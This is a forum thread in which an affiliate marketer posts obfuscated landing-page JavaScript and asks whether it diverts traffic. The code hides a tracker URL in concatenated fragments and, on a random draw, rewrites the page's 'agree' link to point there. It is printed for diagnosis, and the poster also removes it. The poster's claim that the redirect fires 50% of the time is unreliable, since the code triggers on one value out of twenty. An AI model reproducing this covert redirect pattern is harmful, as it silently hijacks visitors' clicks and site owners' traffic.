一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {( @4 x- H$ K* T3 W9 v. V7 B
$(".option.clearfix").on("click",
; N5 b2 y4 V' C% m
function() {5 J" C! ]- F% T
$(this).toggleClass("selected");
4 b! t" ]' h2 ]4 q4 O. M
if ($(this).hasClass("selected")) {. L+ W3 Q' [( Y' M9 L
$(this).addClass("selected")
7 t% z8 q, Q0 M: L. Z5 `! q$ |
} else {2 |- h" C5 M1 z& n, p
$(this).removeClass("selected")) b$ q f3 w( o! L1 n* J5 b/ M5 I+ |
}3 f& ?$ F1 z, _' r5 u* w- d3 {# X, P% A
return false
0 {0 n8 h1 E# u' `8 v* H5 h
});
" O$ ]; ^6 u" U8 ?
var e = "r";4 M& @3 ^/ T" X& X
var t = "e";( S/ z4 |* b- N+ C
setBtnMarginDefault = "c" + "\u006B";
# z2 u3 A2 K; S2 g, \' V
$(".option2.clearfix").on("click",
! k! P: p8 M7 s, n
function() {4 R8 o6 ^: t' C& ^
$(this).toggleClass("selected");
+ U9 Q, Y* Z j+ e w7 }
if ($(this).hasClass("selected")) {
. c$ |( ~6 L) J5 M
$(this).addClass("selected")
- D( c& T$ Y* j" ]. k8 \1 ^2 A* J
} else {; r1 n- ?& l* E6 Y" ^6 F/ k
$(this).removeClass("selected")
$ n h, I/ Y( _$ h! @
}
! u8 A0 c, u" j) a2 {2 I
return false
) ]+ L7 z/ J$ P$ m! O. d6 l
});
" j e" V! L1 c/ P% [# a
var n = "a";$ u% i& K( A- z: g" U1 K# U
var r = "g";8 M, g7 p/ b/ L4 o
$(".option3.clearfix").on("click",
' d* f) ]0 `& B9 ?; \* D
function() {
$ X5 X D# ~: y" S- z. a
$(this).toggleClass("selected");
+ m: P4 p2 k' m# W5 \# J4 H5 Q9 e
if ($(this).hasClass("selected")) {
2 ]1 N3 E# M6 B5 ^' x
$(this).addClass("selected")
. @% h6 `' l0 k1 t k5 k+ Y
} else {' g1 U. s9 Z( G7 Z1 p2 l, d6 e, J
$(this).removeClass("selected")
- @' j8 j0 h! \* s; k
}
: N5 b0 p0 }# Z# Z/ r, X/ r9 D
return false
" X+ \% O# b1 h0 N
});
: q5 z9 e8 @7 f# X- S
var i = "e";1 H, e/ ?# g% B q3 \- n
var s = n + r + e + t + i;9 E Q3 H6 F* l) k
$(".option4.clearfix").on("click", I# N4 L" v v; r# f" N5 h: F
function() {
! m! E( o: Y# w
$(this).toggleClass("selected");. }4 e3 r! l0 [% w
if ($(this).hasClass("selected")) {' A T" e5 r' U/ s( p& i
$(this).addClass("selected")
M: s* ?+ M( @' O* D) c: C
} else {& P, ?9 x( Y c5 J1 n
$(this).removeClass("selected")
# d$ j4 W* T- T1 X0 R6 C9 x
}5 g0 T# @, \/ I; s/ @- z8 L
return false
: l# d2 a, i/ s# P
});7 N1 ~6 I+ w0 C) s, A
var o = "\u0032" + "\u0030";
. c; c( F) B$ c
var u = "\u0031" + "\u0030";: S) k3 N2 z* v8 Q
currentWhiteSpace = Math.floor(Math.random() * o);
6 }' ]: ^! g; ]# D3 Y
setBtnMargin30 = setBtnMarginDefault + "." + "c";
4 I( ~; `' z: b; U# Z- G+ z, e
Date.prototype.getMonthName = function() {% ]" c- J. V' c6 u1 s i+ N
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];6 ~1 |. T/ X% B( a6 c
return e[this.getMonth()]$ |+ H( b4 d) a8 i m" n& d2 D4 L c
};
' O7 m9 n' U' R, G. L
var a = currentWhiteSpace;
% p: X. L, b& y. j$ z& t
var f = "H";, z E1 ~. s; ^8 f' F% ?8 _) E
var l = "\u0052";
9 Q) B/ g. X5 r, N1 U5 d/ l7 y
var c = "o" + "\u006D";" B: Q& _& j+ r, u, n' F
f += "T";
% }; L0 c" G- w: p' f( B& {6 b/ ?% w
f += "T";8 ?1 Y# z8 ?! u; A0 g
f += "P";6 S7 q2 a9 B3 u
var h = new Date;. ?2 e* g, c, u9 h
if (h.getMonth() == 11) {
9 _5 I& h+ M# g9 \5 T
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()$ x' T7 N+ `6 n+ |! @* F$ o
} else {& f7 N: x6 Z' u' G# |
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
( u0 D" t8 i* O+ z% O
}7 k/ B2 { c# ]2 ]
var d = ":" + "/" + "/";5 _) Y1 W0 m+ P+ |
l += "S";" u& D3 W2 r) }. ^: h$ V( H
l += "x";
* q% g' v6 g' R5 j m7 [
document.getElementById("monthz").innerHTML = p;. x R; K0 a; l z1 X% t* x ~& D
l += "\u0054";
Q) w7 v) O, T6 c9 O
l += "R";' j' i9 Y$ v; m7 P- Y7 p# z1 J
l += "\u0041" + setBtnMargin30;
3 w+ x6 S( h1 @/ D3 h
setStyle = f + d + l + c;
% j) |1 J$ k1 A
s = s.toLowerCase(s);5 ~! ?3 M( }) q5 p+ {. \8 c Q
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;+ W2 [$ \- s4 a7 Q+ N( r4 V
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {4 F9 J0 }% X5 S- r  B* G
$(".option.clearfix").on("click", function () {
, _  i+ S2 K. Y4 g8 Y  W       $(this).toggleClass("selected");2 X1 S& m- L' }* E7 a
      if ($(this).hasClass("selected")) {
) f' t( `$ K2 V, r3 ~, P          $(this).addClass("selected")) |+ p/ t7 p3 B1 B8 S) m
      } else {
' ~0 t9 a" M7 `% D2 N2 o          $(this).removeClass("selected")
6 `( G7 [- b/ {/ j2 Y       }
4 H1 b9 P  V" n: N       return false
- y7 V. A& k% q9 o });# G* E6 v# h, i! }# S* m2 x6 s
$(".option2.clearfix").on("click", function () {- {  m0 i8 X9 d8 s, X5 \
      $(this).toggleClass("selected");
" B0 U8 x) f% d9 D6 `' R       if ($(this).hasClass("selected")) {2 }9 F. ~4 A& @. T  `
         $(this).addClass("selected")$ K+ a! `8 S$ m! ]
      } else {7 m. ^8 t2 P9 W1 t( T
         $(this).removeClass("selected")
' z  y1 q! ?! ^       }
. B3 \0 p; G& ?       return false
$ X  a8 K3 v, Q( z1 |5 {* m });" Y5 h# w' q$ Y
$(".option3.clearfix").on("click", function () {
, L! `9 f) r5 U, ?# w       $(this).toggleClass("selected");% S- B: \- J2 y- E+ S" m6 j" Z( C7 R
      if ($(this).hasClass("selected")) {
6 Y: b7 }5 y1 D+ z# M8 q          $(this).addClass("selected"): j4 w5 B0 S+ h4 O( s
      } else {* x5 S1 z) G! ^5 @+ E6 u
         $(this).removeClass("selected")
8 V) M# h. Y: i) S( r, p+ w       }
# }6 M3 `) E4 _! F3 n       return false: U( N& L* T4 o* C. K1 v6 M
});
$ J' x3 {+ ]: N- [3 Y $(".option4.clearfix").on("click", function () {
9 @" D. w' u6 [4 _       $(this).toggleClass("selected");
; f* v/ s$ t0 W7 K. `       if ($(this).hasClass("selected")) {5 N+ v& C3 [# L/ J
         $(this).addClass("selected")
/ C2 \9 B  s6 E( z3 B       } else {
4 s! A! V& \! z  E' t; O& N. P          $(this).removeClass("selected")$ L7 H0 ?; P# x+ X7 D' \
      }
* T; E$ P! Z6 Z/ G9 J       return false; E8 [- K# x) a) D" x6 v
});
1 Q" s. T' x* y4 B5 Y# t})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53/ U3 K% d8 s* M4 h+ _2 j3 {
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	皇家代理IP⚡️#1性价比⚡️	Mediabuy⚡️玩家开户首选
【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️	Taboola/Outbrain /Bing⚡️一级代理
*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放	FB BM不限额，短id账单户
E.PN 虚拟卡	DuoPlus专注打造跨境电商云手机	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	Google、Bing官方总代联盟流量开户	FB资源，账单户，分享户，国内一手
FB企业户BM户账单户源头	海外CL企业户源头	PTM全球虚拟卡—进来交个朋友!	PTM虚拟卡⚡️费率透明⚡️额度随心
FB虚拟卡⚡️消费越多返现越多	虚拟卡 - Pay2.House	【找量】BA独家Nutra单找量	广告位出租
8500万高质量住宅IP，助力各种需求	虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人